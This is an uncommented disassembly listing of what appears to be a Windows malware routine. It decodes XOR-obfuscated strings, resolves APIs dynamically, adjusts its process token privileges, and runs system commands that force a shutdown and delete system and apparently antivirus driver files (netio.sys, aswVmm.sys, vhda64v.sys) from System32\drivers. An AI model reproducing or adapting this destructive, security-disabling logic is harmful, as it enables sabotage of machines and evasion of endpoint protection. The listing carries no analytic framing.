movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x6f0]
vmovdqu xmmword [rbp + 0x6f0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x700]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x700], xmm0
vmovdqu xmm1, xmmword [rbp + 0x710]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x710], xmm2
vmovdqu xmm0, xmmword [rbp + 0x720]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x720], xmm1
vpxor xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x1a8], xmm2
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], r13
lea rax, [rbp + 0x6f0]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e7a92
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x1a8]
call fcn.140083fc0
lea rax, [rbp + 0x1a8]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x460]
vmovdqu xmmword [rbp + 0x460], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x26c0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2748], r13
je 0x1400e7bac
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x470], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x470]
vmovdqu xmmword [rbp + 0x470], xmm1
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x26c0]
call fcn.140083370
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0xf
cmova rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b8]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x26c0]
call fcn.140060f20
nop
lea rcx, [rbp + 0x1a8]
call fcn.1400808a0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400e7c01
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e7bfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e84df
call fcn.1401df894
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], r13b
call 0x140000000
vmovsd xmm0, qword [0x1401f15c0]
vmovsd qword [rbp + 0x10c], xmm0
mov eax, dword [0x1401f15c8]
mov dword [rbp + 0x114], eax
movzx eax, word [0x1401f15cc]
mov word [rbp + 0x118], ax
mov r12d, 0x29e4129f
cmp byte [0x1401f15cd], r13b
je 0x1400e7c83
mov edi, r13d
lea r8, [rbp + 0x10c]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, 0x34
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0xe
jl 0x1400e7c59
lea rdx, [rbp + 0x10c]
lea rcx, [rbp + 0x12a0]
call fcn.140080970
mov rdx, rax
lea rcx, [0x1403472f0]
call fcn.1400ff390
call fcn.140060fa0
call fcn.1400cd7e8
call fcn.140060fa0
movabs rax, 0xddce73a4eb36afa6
mov qword [rbp + 0x4c0], rax
movabs rax, 0x683c37c88a4edba4
mov qword [rbp + 0x4c8], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x4c0]
vmovdqu xmmword [rbp + 0x4c0], xmm1
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400e7e44
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp + 0x4d0]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400e7da2
lea r8, [rbp + 0xe90]
lea rdx, [0x1401f1308]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x1400e7d9c
mov dword [rbp + 0x4d0], ebx
mov rax, qword [rbp + 0xe90]
mov qword [rbp + 0x4d4], rax
mov dword [rbp + 0x4dc], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x4d0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xc3fa29add43eaf9a
mov qword [rbp + 0x730], rax
movabs rax, 0x2b4f7ebbf92bb8a7
mov qword [rbp + 0x738], rax
movabs rax, 0x132588abf9aeb2ba
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x748], r15
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r15
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x730]
vmovdqu xmmword [rbp + 0x730], xmm1
vmovdqu xmm2, xmmword [rsp + 0x70]
vpxor xmm0, xmm2, xmmword [rbp + 0x740]
vmovdqu xmmword [rbp + 0x740], xmm0
lea rdx, [rbp + 0x730]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400e7e44
xor r8d, r8d
xor edx, edx
mov cl, bl
call rax
lea rcx, str.shutdown_shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1403472f0]
call 0x140000000
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140060fa0
lea rdx, [0x1401e989a]
lea rcx, [rbp + 0x12c0]
call fcn.140080970
mov rdx, rax
lea rcx, [0x1403472f0]
call fcn.1400fa250
mov r15d, Ordinal_26
jmp 0x1400e4cdd
call fcn.140060fa0
movabs rax, 0xf98a38bce23ebe8c
mov qword [rbp + 0x7b0], rax
movabs rax, 0x1d5e528caa1e8f9c
mov qword [rbp + 0x7b8], rax
movabs rax, 0x762bc9e4e2bfbcaf
mov qword [rbp + 0x7c0], rax
movabs rax, 0x63a7efe85d24b4ae
mov qword [rbp + 0x7c8], rax
movabs rax, 0x7ff952a6a58ab8a6
mov qword [rbp + 0x7d0], rax
movabs rax, 0x5a3501ba07fabaa7
mov qword [rbp + 0x7d8], rax
movabs rax, 0xcdd2b2adf84abfa6
mov qword [rbp + 0x7e0], rax
movabs rax, 0x434aeea7f446afba
mov qword [rbp + 0x7e8], rax
movabs rax, 0x13268dc8415c9898
mov qword [rbp + 0x7f0], rax
movabs rdi, 0x63c7e7c8c96edbc8
mov qword [rbp + 0x7f8], rdi
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x7b0]
vmovdqu xmmword [rbp + 0x7b0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x7c0]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x7c0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x7d0]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x7d0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x7e0]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x7e0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x7f0]
vpxor xmm0, xmm2, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x7f0], xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0x1c8], xmm1
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1e0], r13
lea rax, [rbp + 0x7b0]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e8088
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x1c8]
call fcn.140083fc0
lea rax, [rbp + 0x1c8]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x488], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x480]
vmovdqu xmmword [rbp + 0x480], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x27d0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2858], r13
je 0x1400e81a2
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x490], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x498], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x490]
vmovdqu xmmword [rbp + 0x490], xmm1
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x27d0]
call fcn.140083370
lea rdx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0xf
cmova rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d8]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x27d0]
call fcn.140060f20
nop
lea rcx, [rbp + 0x1c8]
jmp 0x1400e7bc0
call fcn.140060fa0
movabs rax, 0xe18a38bce23ebe8c
mov qword [rbp + 0x800], rax
movabs rax, 0x201c44bbef2db4ba
mov qword [rbp + 0x808], rax
movabs rax, 0x7169c5baf5b1b8a9
mov qword [rbp + 0x810], rax
movabs rax, 0x77aaa3ad4a39bdad
mov qword [rbp + 0x818], rax
movabs rax, 0x33be5ba1a481b5bd
mov qword [rbp + 0x820], rax
movabs rax, 0x3b3b5dad06ffb4a4
mov qword [rbp + 0x828], rax
movabs rax, 0xd8d5a4baaa0eb589
mov qword [rbp + 0x830], rax
movabs rax, 0x114df4b1ad12a9a9
mov qword [rbp + 0x838], rax
movabs rax, 0x13268dc86f318be8
mov qword [rbp + 0x840], rax
movabs rcx, 0x63c7e7c8c96edbc8
mov qword [rbp + 0x848], rcx
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x800]
vmovdqu xmmword [rbp + 0x800], xmm1
vmovdqu xmm2, xmmword [rbp + 0x810]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x810], xmm0
vmovdqu xmm1, xmmword [rbp + 0x820]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x820], xmm2
vmovdqu xmm0, xmmword [rbp + 0x830]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x830], xmm1
vmovdqu xmm2, xmmword [rbp + 0x840]
vpxor xmm0, xmm2, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x840], xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
lea rax, [rbp + 0x800]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e8377
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x30]
call fcn.140083fc0
lea rax, [rbp + 0x30]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x4a0]
vmovdqu xmmword [rbp + 0x4a0], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x28e0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2968], r13
je 0x1400e847f
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x4b0], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x4b8], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x4b0]
vmovdqu xmmword [rbp + 0x4b0], xmm1
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x28e0]
call fcn.140083370
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x28e0]
call fcn.140060f20
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400e84ca
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e84c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e84c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401df894
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], r13b
jmp 0x1400e7bc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140060fa0
movabs rax, 0xe18a38bce23ebe8c
mov qword [rbp + 0xc40], rax
movabs rax, 0x201c44bbef2db4ba
mov qword [rbp + 0xc48], rax
movabs rax, 0x7169c5baf5b1b8a9
mov qword [rbp + 0xc50], rax
movabs rax, 0x77aaa3ad4a39bdad
mov qword [rbp + 0xc58], rax
movabs rax, 0x33be5ba1a481b5bd
mov qword [rbp + 0xc60], rax
movabs rax, 0x3b3b5dad06ffb4a4
mov qword [rbp + 0xc68], rax
movabs rax, 0xd8d5a4baaa0eb589
mov qword [rbp + 0xc70], rax
movabs rax, 0x114df4b1ad12a9a9
mov qword [rbp + 0xc78], rax
movabs rax, 0x13268dc86f318be8
mov qword [rbp + 0xc80], rax
movabs rcx, 0x63c7e7c8c96edbc8
mov qword [rbp + 0xc88], rcx
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
mov rsi, rdi
mov qword [rsp + 0x68], rdi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs rax, 0x16c683c83856dbc8
mov qword [rsp + 0x78], rax
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xc40]
vmovdqu xmmword [rbp + 0xc40], xmm1
vmovdqu xmm2, xmmword [rsp + 0x70]
vpxor xmm0, xmm2, xmmword [rbp + 0xc50]
vmovdqu xmmword [rbp + 0xc50], xmm0
vmovdqu xmm1, xmmword [rbp - 0x80]
vpxor xmm2, xmm1, xmmword [rbp + 0xc60]
vmovdqu xmmword [rbp + 0xc60], xmm2
vmovdqu xmm0, xmmword [rbp - 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xc70]
vmovdqu xmmword [rbp + 0xc70], xmm1
vmovdqu xmm2, xmmword [rbp - 0x60]
vpxor xmm0, xmm2, xmmword [rbp + 0xc80]
vmovdqu xmmword [rbp + 0xc80], xmm0
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0x12e0]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x510]
vmovdqu xmmword [rbp + 0x510], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x29f0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2a78], r13
je 0x1400e877b
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x520], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x528], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x520]
vmovdqu xmmword [rbp + 0x520], xmm1
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x29f0]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e875e
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x29f0]
call fcn.140060f20
nop
jmp 0x1400e8cd6
call fcn.140060fa0
movabs rax, 0xe18a38bce23ebe8c
mov qword [rbp + 0xc90], rax
movabs rax, 0x201c44bbef2db4ba
mov qword [rbp + 0xc98], rax
movabs rax, 0x7169c5baf5b1b8a9
mov qword [rbp + 0xca0], rax
movabs rax, 0x77aaa3ad4a39bdad
mov qword [rbp + 0xca8], rax
movabs rax, 0x33be5ba1a481b5bd
mov qword [rbp + 0xcb0], rax
movabs rax, 0x3b3b5dad06ffb4a4
mov qword [rbp + 0xcb8], rax
movabs rax, 0xd8d5a4baaa0eb589
mov qword [rbp + 0xcc0], rax
movabs rax, 0x114df4b1ad12a9a9
mov qword [rbp + 0xcc8], rax
movabs rax, 0x13268dc86f318be8
mov qword [rbp + 0xcd0], rax
movabs rcx, 0x63c7e7c8c96edbc8
mov qword [rbp + 0xcd8], rcx
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
mov rsi, rdi
mov qword [rsp + 0x68], rdi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs rax, 0x16c683c83856dbc8
mov qword [rsp + 0x78], rax
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xc90]
vmovdqu xmmword [rbp + 0xc90], xmm1
vmovdqu xmm2, xmmword [rsp + 0x70]
vpxor xmm0, xmm2, xmmword [rbp + 0xca0]
vmovdqu xmmword [rbp + 0xca0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x80]
vpxor xmm2, xmm1, xmmword [rbp + 0xcb0]
vmovdqu xmmword [rbp + 0xcb0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xcc0]
vmovdqu xmmword [rbp + 0xcc0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x60]
vpxor xmm0, xmm2, xmmword [rbp + 0xcd0]
vmovdqu xmmword [rbp + 0xcd0], xmm0
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x1300]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x538], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x530]
vmovdqu xmmword [rbp + 0x530], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x2b00]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2b88], r13
je 0x1400e8a22
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x540], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x548], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x540]
vmovdqu xmmword [rbp + 0x540], xmm1
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x2b00]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e8a05
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2b00]
call fcn.140060f20
nop
jmp 0x1400e8cd6
call fcn.140060fa0
movabs rax, 0xe18a38bce23ebe8c
mov qword [rbp + 0xce0], rax
movabs rax, 0x201c44bbef2db4ba
mov qword [rbp + 0xce8], rax
movabs rax, 0x7169c5baf5b1b8a9
mov qword [rbp + 0xcf0], rax
movabs rax, 0x77aaa3ad4a39bdad
mov qword [rbp + 0xcf8], rax
movabs rax, 0x33be5ba1a481b5bd
mov qword [rbp + 0xd00], rax
movabs rax, 0x3b3b5dad06ffb4a4
mov qword [rbp + 0xd08], rax
movabs rax, 0xd8d5a4baaa0eb589
mov qword [rbp + 0xd10], rax
movabs rax, 0x114df4b1ad12a9a9
mov qword [rbp + 0xd18], rax
movabs rax, 0x13268dc86f318be8
mov qword [rbp + 0xd20], rax
movabs rcx, 0x63c7e7c8c96edbc8
mov qword [rbp + 0xd28], rcx
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
mov rsi, rdi
mov qword [rsp + 0x68], rdi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs rax, 0x16c683c83856dbc8
mov qword [rsp + 0x78], rax
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xce0]
vmovdqu xmmword [rbp + 0xce0], xmm1
vmovdqu xmm2, xmmword [rsp + 0x70]
vpxor xmm0, xmm2, xmmword [rbp + 0xcf0]
vmovdqu xmmword [rbp + 0xcf0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x80]
vpxor xmm2, xmm1, xmmword [rbp + 0xd00]
vmovdqu xmmword [rbp + 0xd00], xmm2
vmovdqu xmm0, xmmword [rbp - 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xd10]
vmovdqu xmmword [rbp + 0xd10], xmm1
vmovdqu xmm2, xmmword [rbp - 0x60]
vpxor xmm0, xmm2, xmmword [rbp + 0xd20]
vmovdqu xmmword [rbp + 0xd20], xmm0
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x1320]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x550]
vmovdqu xmmword [rbp + 0x550], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2c10]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2c98], r13
je 0x1400e8cc9
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x560], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x568], rax
mov qword [rsp + 0x60], r14
